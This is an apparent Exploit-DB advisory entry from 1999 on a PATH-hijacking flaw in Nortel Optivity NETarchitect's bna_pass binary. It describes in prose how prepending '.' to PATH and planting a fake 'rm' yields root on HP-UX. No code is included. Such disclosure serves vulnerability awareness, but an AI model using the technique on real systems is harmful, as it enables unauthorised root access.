Nortel Networks Optivity NETarchitect 2.0 PATH Vulnerability (EDBID:19704)
multiple local
1999-12-30 Verified
0 Loneguard
N/A [点击下载]

NETarchitect is an application for simplifying the task of designing and deploying complex switched network system configurations, produced by Nortel Networks and usually shipped with the Optivity Network Configuration System suite of utilities. It is possible to gain root privileges on an HP-UX (possibly Solaris) system running NETarchitect by exploiting a path vulnerability in the binary /opt/bna/bin/bna_pass. bna_pass executes 'rm' assuming that the end user's PATH value is valid and the real rm binary is in the one being called.Because of this, it is possible to have bna_pass execute arbitrary binaries as root if the PATH variable is manipulated. A malicious user can add "." to his PATH environment variable and have binaries searched for and executed in . before any others [directories in PATH]. A false 'rm' would then be executed, compromising the system.
